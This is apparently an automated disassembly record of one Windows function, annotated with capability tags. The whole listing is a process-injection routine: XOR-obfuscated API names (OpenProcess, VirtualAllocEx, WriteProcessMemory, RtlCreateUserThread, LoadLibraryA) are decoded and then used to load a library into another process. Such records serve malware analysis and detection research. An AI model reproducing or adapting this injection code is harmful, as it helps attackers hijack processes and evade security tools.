Function at 0x1400011a0
Capabilities:
Encode data using xor
Enumerate process modules
Link many functions at runtime

Disassembly:
mov dword [rsp + 8], ecx
push rbp
push rsi
push rdi
push r15
lea rbp, [rsp - 0x468]
sub rsp, 0x568
mov eax, dword [0x140011360]
lea r9, [rbp + 0x1d8]
movups xmm0, xmmword [str.043B2E251B3924282E3838]
mov dword [rsp + 0x78], eax
mov r15, rdx
movzx eax, word [0x140011364]
lea r8, [rsp + 0x68]
movups xmm1, xmmword [0x140011398]
mov word [rsp + 0x7c], ax
mov edi, ecx
movzx eax, byte [0x140011366]
mov byte [rsp + 0x7e], al
mov eax, dword [0x140011380]
mov dword [rbp - 0x68], eax
movzx eax, byte [0x140011384]
movups xmmword [rsp + 0x68], xmm0
mov byte [rbp - 0x64], al
mov eax, dword [0x1400113a8]
movups xmm0, xmmword [str.1D22393F3E2A270A272724280E33]
mov dword [rbp + 0x48], eax
movzx eax, byte [0x1400113ac]
movups xmmword [rbp - 0x80], xmm0
mov byte [rbp + 0x4c], al
movzx eax, byte [0x1400113c8]
movsd xmm0, qword [0x140011378]
movsd qword [rbp - 0x70], xmm0
movups xmm0, xmmword [str.1C39223F2E1B3924282E3838062E26243932]
mov byte [rbp - 0x28], al
movzx eax, byte [0x1400113e8]
movups xmmword [rbp + 0x28], xmm0
mov byte [rbp - 8], al
mov eax, dword [0x140011408]
movups xmm0, xmmword [str.07242A2F072229392A39320A]
mov dword [rbp - 0x48], eax
movzx eax, byte [0x14001140c]
movups xmmword [rbp - 0x40], xmm0
mov byte [rbp - 0x44], al
movsd xmm0, qword [0x1400113c0]
mov eax, dword [0x140011430]
movsd qword [rbp - 0x30], xmm0
movups xmm0, xmmword [str.202E39252E277879652F2727]
mov dword [rbp + 0x20], eax
movzx eax, word [0x140011434]
movups xmmword [rbp - 0x20], xmm0
mov word [rbp + 0x24], ax
movsd xmm0, qword [0x1400113e0]
movzx eax, byte [0x140011436]
movsd qword [rbp - 0x10], xmm0
movups xmm0, xmmword [str.0C2E3F1B3924280A2F2F392E3838]
mov byte [rbp + 0x26], al
movzx eax, word [0x140011448]
movups xmmword [rbp - 0x60], xmm0
mov word [rsp + 0x60], ax
movsd xmm0, qword [0x140011400]
movzx eax, byte [0x14001144a]
movsd qword [rbp - 0x50], xmm0
movups xmm0, xmmword [str.193F2708392E2A3F2E1E382E391F23392E2A2F]
mov byte [rsp + 0x62], al
movups xmmword [rbp + 0x38], xmm1
movups xmm1, xmmword [0x140011420]
movups xmmword [rbp], xmm0
movups xmm0, xmmword [str.253F2F2727652F2727]
movups xmmword [rbp + 0x10], xmm1
movups xmmword [rsp + 0x50], xmm0
movzx edx, byte [r8 + 1]
test dl, dl
je 0x140001374
movzx ecx, byte [r8]
lea eax, [rcx - 0x30]
cmp al, 9
jbe 0x14000133e
lea eax, [rcx - 0x41]
cmp al, 5
ja 0x140001330
sub cl, 0x37
jmp 0x14000133e
lea eax, [rcx - 0x61]
cmp al, 5
ja 0x14000133c
sub cl, 0x57
jmp 0x14000133e
xor cl, cl
lea eax, [rdx - 0x30]
cmp al, 9
jbe 0x14000135f
lea eax, [rdx - 0x41]
cmp al, 5
ja 0x140001351
lea eax, [rdx - 0x37]
jmp 0x14000135f
lea eax, [rdx - 0x61]
cmp al, 5
ja 0x14000135d
lea eax, [rdx - 0x57]
jmp 0x14000135f
xor al, al
shl cl, 4
add r8, 2
or cl, al
mov byte [r9], cl
inc r9
cmp byte [r8], 0
jne 0x140001310
mov byte [r9], 0
movzx eax, byte [rbp + 0x1d8]
test al, al
je 0x14000139f
lea rcx, [rbp + 0x1d8]
nop word [rax + rax]
xor al, 0x4b
mov byte [rcx], al
lea rcx, [rcx + 1]
movzx eax, byte [rcx]
test al, al
jne 0x140001390
lea r8, [rbp - 0x80]
lea r9, [rbp + 0x88]
nop word [rax + rax]
movzx edx, byte [r8 + 1]
test dl, dl
je 0x140001414
movzx ecx, byte [r8]
lea eax, [rcx - 0x30]
cmp al, 9
jbe 0x1400013de
lea eax, [rcx - 0x41]
cmp al, 5
ja 0x1400013d0
sub cl, 0x37
jmp 0x1400013de
lea eax, [rcx - 0x61]
cmp al, 5
ja 0x1400013dc
sub cl, 0x57
jmp 0x1400013de
xor cl, cl
lea eax, [rdx - 0x30]
cmp al, 9
jbe 0x1400013ff
lea eax, [rdx - 0x41]
cmp al, 5
ja 0x1400013f1
lea eax, [rdx - 0x37]
jmp 0x1400013ff
lea eax, [rdx - 0x61]
cmp al, 5
ja 0x1400013fd
lea eax, [rdx - 0x57]
jmp 0x1400013ff
xor al, al
shl cl, 4
add r8, 2
or cl, al
mov byte [r9], cl
inc r9
cmp byte [r8], 0
jne 0x1400013b0
mov byte [r9], 0
movzx eax, byte [rbp + 0x88]
test al, al
je 0x14000143f
lea rcx, [rbp + 0x88]
nop word [rax + rax]
xor al, 0x4b
mov byte [rcx], al
lea rcx, [rcx + 1]
movzx eax, byte [rcx]
test al, al
jne 0x140001430
lea r8, [rbp + 0x28]
lea r9, [rbp + 0xc0]
nop word [rax + rax]
movzx edx, byte [r8 + 1]
test dl, dl
je 0x1400014b4
movzx ecx, byte [r8]
lea eax, [rcx - 0x30]
cmp al, 9
jbe 0x14000147e
lea eax, [rcx - 0x41]
cmp al, 5
ja 0x140001470
sub cl, 0x37
jmp 0x14000147e
lea eax, [rcx - 0x61]
cmp al, 5
ja 0x14000147c
sub cl, 0x57
jmp 0x14000147e
xor cl, cl
lea eax, [rdx - 0x30]
cmp al, 9
jbe 0x14000149f
lea eax, [rdx - 0x41]
cmp al, 5
ja 0x140001491
lea eax, [rdx - 0x37]
jmp 0x14000149f
lea eax, [rdx - 0x61]
cmp al, 5
ja 0x14000149d
lea eax, [rdx - 0x57]
jmp 0x14000149f
xor al, al
shl cl, 4
add r8, 2
or cl, al
mov byte [r9], cl
inc r9
cmp byte [r8], 0
jne 0x140001450
mov byte [r9], 0
movzx eax, byte [rbp + 0xc0]
test al, al
je 0x1400014df
lea rcx, [rbp + 0xc0]
nop word [rax + rax]
xor al, 0x4b
mov byte [rcx], al
lea rcx, [rcx + 1]
movzx eax, byte [rcx]
test al, al
jne 0x1400014d0
lea r8, [rbp - 0x40]
lea r9, [rbp + 0x130]
nop word [rax + rax]
movzx edx, byte [r8 + 1]
test dl, dl
je 0x140001554
movzx ecx, byte [r8]
lea eax, [rcx - 0x30]
cmp al, 9
jbe 0x14000151e
lea eax, [rcx - 0x41]
cmp al, 5
ja 0x140001510
sub cl, 0x37
jmp 0x14000151e
lea eax, [rcx - 0x61]
cmp al, 5
ja 0x14000151c
sub cl, 0x57
jmp 0x14000151e
xor cl, cl
lea eax, [rdx - 0x30]
cmp al, 9
jbe 0x14000153f
lea eax, [rdx - 0x41]
cmp al, 5
ja 0x140001531
lea eax, [rdx - 0x37]
jmp 0x14000153f
lea eax, [rdx - 0x61]
cmp al, 5
ja 0x14000153d
lea eax, [rdx - 0x57]
jmp 0x14000153f
xor al, al
shl cl, 4
add r8, 2
or cl, al
mov byte [r9], cl
inc r9
cmp byte [r8], 0
jne 0x1400014f0
mov byte [r9], 0
movzx eax, byte [rbp + 0x130]
test al, al
je 0x14000157f
lea rcx, [rbp + 0x130]
nop word [rax + rax]
xor al, 0x4b
mov byte [rcx], al
lea rcx, [rcx + 1]
movzx eax, byte [rcx]
test al, al
jne 0x140001570
lea r8, [rbp - 0x20]
lea r9, [rbp + 0x50]
movzx edx, byte [r8 + 1]
test dl, dl
je 0x1400015eb
movzx ecx, byte [r8]
lea eax, [rcx - 0x30]
cmp al, 9
jbe 0x1400015b5
lea eax, [rcx - 0x41]
cmp al, 5
ja 0x1400015a7
sub cl, 0x37
jmp 0x1400015b5
lea eax, [rcx - 0x61]
cmp al, 5
ja 0x1400015b3
sub cl, 0x57
jmp 0x1400015b5
xor cl, cl
lea eax, [rdx - 0x30]
cmp al, 9
jbe 0x1400015d6
lea eax, [rdx - 0x41]
cmp al, 5
ja 0x1400015c8
lea eax, [rdx - 0x37]
jmp 0x1400015d6
lea eax, [rdx - 0x61]
cmp al, 5
ja 0x1400015d4
lea eax, [rdx - 0x57]
jmp 0x1400015d6
xor al, al
shl cl, 4
add r8, 2
or cl, al
mov byte [r9], cl
inc r9
cmp byte [r8], 0
jne 0x140001587
mov byte [r9], 0
movzx eax, byte [rbp + 0x50]
test al, al
je 0x14000160f
lea rcx, [rbp + 0x50]
nop dword [rax + rax]
xor al, 0x4b
mov byte [rcx], al
lea rcx, [rcx + 1]
movzx eax, byte [rcx]
test al, al
jne 0x140001600
lea r8, [rbp - 0x60]
lea r9, [rbp + 0xf8]
nop word [rax + rax]
movzx edx, byte [r8 + 1]
test dl, dl
je 0x140001684
movzx ecx, byte [r8]
lea eax, [rcx - 0x30]
cmp al, 9
jbe 0x14000164e
lea eax, [rcx - 0x41]
cmp al, 5
ja 0x140001640
sub cl, 0x37
jmp 0x14000164e
lea eax, [rcx - 0x61]
cmp al, 5
ja 0x14000164c
sub cl, 0x57
jmp 0x14000164e
xor cl, cl
lea eax, [rdx - 0x30]
cmp al, 9
jbe 0x14000166f
lea eax, [rdx - 0x41]
cmp al, 5
ja 0x140001661
lea eax, [rdx - 0x37]
jmp 0x14000166f
lea eax, [rdx - 0x61]
cmp al, 5
ja 0x14000166d
lea eax, [rdx - 0x57]
jmp 0x14000166f
xor al, al
shl cl, 4
add r8, 2
or cl, al
mov byte [r9], cl
inc r9
cmp byte [r8], 0
jne 0x140001620
mov byte [r9], 0
movzx eax, byte [rbp + 0xf8]
test al, al
je 0x1400016af
lea rcx, [rbp + 0xf8]
nop word [rax + rax]
xor al, 0x4b
mov byte [rcx], al
lea rcx, [rcx + 1]
movzx eax, byte [rcx]
test al, al
jne 0x1400016a0
lea r8, [rbp]
lea r9, [rbp + 0x1a0]
nop word [rax + rax]
movzx edx, byte [r8 + 1]
test dl, dl
je 0x140001724
movzx ecx, byte [r8]
lea eax, [rcx - 0x30]
cmp al, 9
jbe 0x1400016ee
lea eax, [rcx - 0x41]
cmp al, 5
ja 0x1400016e0
sub cl, 0x37
jmp 0x1400016ee
lea eax, [rcx - 0x61]
cmp al, 5
ja 0x1400016ec
sub cl, 0x57
jmp 0x1400016ee
xor cl, cl
lea eax, [rdx - 0x30]
cmp al, 9
jbe 0x14000170f
lea eax, [rdx - 0x41]
cmp al, 5
ja 0x140001701
lea eax, [rdx - 0x37]
jmp 0x14000170f
lea eax, [rdx - 0x61]
cmp al, 5
ja 0x14000170d
lea eax, [rdx - 0x57]
jmp 0x14000170f
xor al, al
shl cl, 4
add r8, 2
or cl, al
mov byte [r9], cl
inc r9
cmp byte [r8], 0
jne 0x1400016c0
mov byte [r9], 0
movzx eax, byte [rbp + 0x1a0]
test al, al
je 0x14000174f
lea rcx, [rbp + 0x1a0]
nop word [rax + rax]
xor al, 0x4b
mov byte [rcx], al
lea rcx, [rcx + 1]
movzx eax, byte [rcx]
test al, al
jne 0x140001740
lea r8, [rsp + 0x50]
lea r9, [rbp + 0x168]
nop dword [rax + rax]
movzx edx, byte [r8 + 1]
test dl, dl
je 0x1400017c8
movzx eax, byte [r8]
lea ecx, [rax - 0x30]
cmp cl, 9
jbe 0x14000178f
lea ecx, [rax - 0x41]
cmp cl, 5
ja 0x140001781
sub al, 0x37
jmp 0x14000178f
lea ecx, [rax - 0x61]
cmp cl, 5
ja 0x14000178d
sub al, 0x57
jmp 0x14000178f
xor al, al
lea ecx, [rdx - 0x30]
cmp cl, 9
jbe 0x1400017b3
lea ecx, [rdx - 0x41]
cmp cl, 5
ja 0x1400017a4
lea ecx, [rdx - 0x37]
jmp 0x1400017b3
lea ecx, [rdx - 0x61]
cmp cl, 5
ja 0x1400017b1
lea ecx, [rdx - 0x57]
jmp 0x1400017b3
xor cl, cl
shl al, 4
add r8, 2
or al, cl
mov byte [r9], al
inc r9
cmp byte [r8], 0
jne 0x140001760
mov byte [r9], 0
movzx eax, byte [rbp + 0x168]
test al, al
je 0x1400017ef
lea rcx, [rbp + 0x168]
nop
xor al, 0x4b
mov byte [rcx], al
lea rcx, [rcx + 1]
movzx eax, byte [rcx]
test al, al
jne 0x1400017e0
mov qword [rsp + 0x598], rbx
lea rcx, [rbp + 0x50]
mov qword [rsp + 0x560], r12
mov qword [rsp + 0x558], r13
mov qword [rsp + 0x550], r14
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rsi, rax
test rax, rax
je 0x1400019ce
lea rdx, [rbp + 0x1d8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp + 0x88]
mov rcx, rsi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp + 0xc0]
mov rcx, rsi
mov r14, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp + 0xf8]
mov rcx, rsi
mov r12, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r13, rax
test rbx, rbx
je 0x1400019ce
test r14, r14
je 0x1400019ce
test r12, r12
je 0x1400019ce
test rax, rax
je 0x1400019ce
mov r8d, edi
xor edx, edx
mov ecx, 0x1fffff
call rbx
mov rdi, rax
test rax, rax
je 0x1400019ce
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop word [rax + rax]
inc r8
cmp byte [r15 + r8], 0
jne 0x1400018c0
inc r8
mov dword [rsp + 0x20], 1
xor edx, edx
mov r9d, 0x2000
mov rcx, rdi
call r14
test rax, rax
je 0x1400019c5
mov r8, rbx
nop
inc r8
cmp byte [r15 + r8], 0
jne 0x1400018f0
inc r8
mov dword [rsp + 0x20], 4
mov r9d, 0x1000
mov rdx, rax
mov rcx, rdi
call r14
mov r14, rax
test rax, rax
je 0x1400019c5
cmp byte [r15 + rbx + 1], 0
lea rbx, [rbx + 1]
jne 0x140001920
lea r9, [rbx + 1]
mov qword [rsp + 0x20], 0
mov r8, r15
mov rdx, r14
mov rcx, rdi
call r12
test eax, eax
je 0x1400019b0
mov edx, dword [rbp + 0x490]
mov ecx, 8
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400019b0
lea rdx, [rbp + 0x210]
mov dword [rbp + 0x210], 0x238
mov rcx, rax
call sub.KERNEL32.dll_Module32First
test eax, eax
je 0x1400019a7
nop
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x240]
call fcn.140004ed8
mov rcx, rbx
test eax, eax
je 0x1400019fd
lea rdx, [rbp + 0x210]
call sub.KERNEL32.dll_Module32Next
test eax, eax
jne 0x140001980
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r14
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov r14, qword [rsp + 0x550]
mov r13, qword [rsp + 0x558]
mov r12, qword [rsp + 0x560]
mov rbx, qword [rsp + 0x598]
add rsp, 0x568
pop r15
pop rdi
pop rsi
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [rbp + 0x228], 0
je 0x1400019b0
lea rdx, [rbp + 0x130]
mov rcx, rsi
call r13
mov rbx, rax
test rax, rax
je 0x1400019b0
lea rcx, [rbp + 0x168]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x1400019b0
lea rdx, [rbp + 0x1a0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400019b0
xor edx, edx
lea rcx, [rbp + 0x4a0]
mov qword [rsp + 0x48], rdx
xor r9d, r9d
mov qword [rsp + 0x40], rcx
xor r8d, r8d
mov qword [rsp + 0x38], r14
mov rcx, rdi
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rdx
mov qword [rbp + 0x4a0], rdx
call rax
test eax, eax
jne 0x1400019b0
mov rcx, qword [rbp + 0x4a0]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r14
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, qword [rbp + 0x4a0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x1400019d0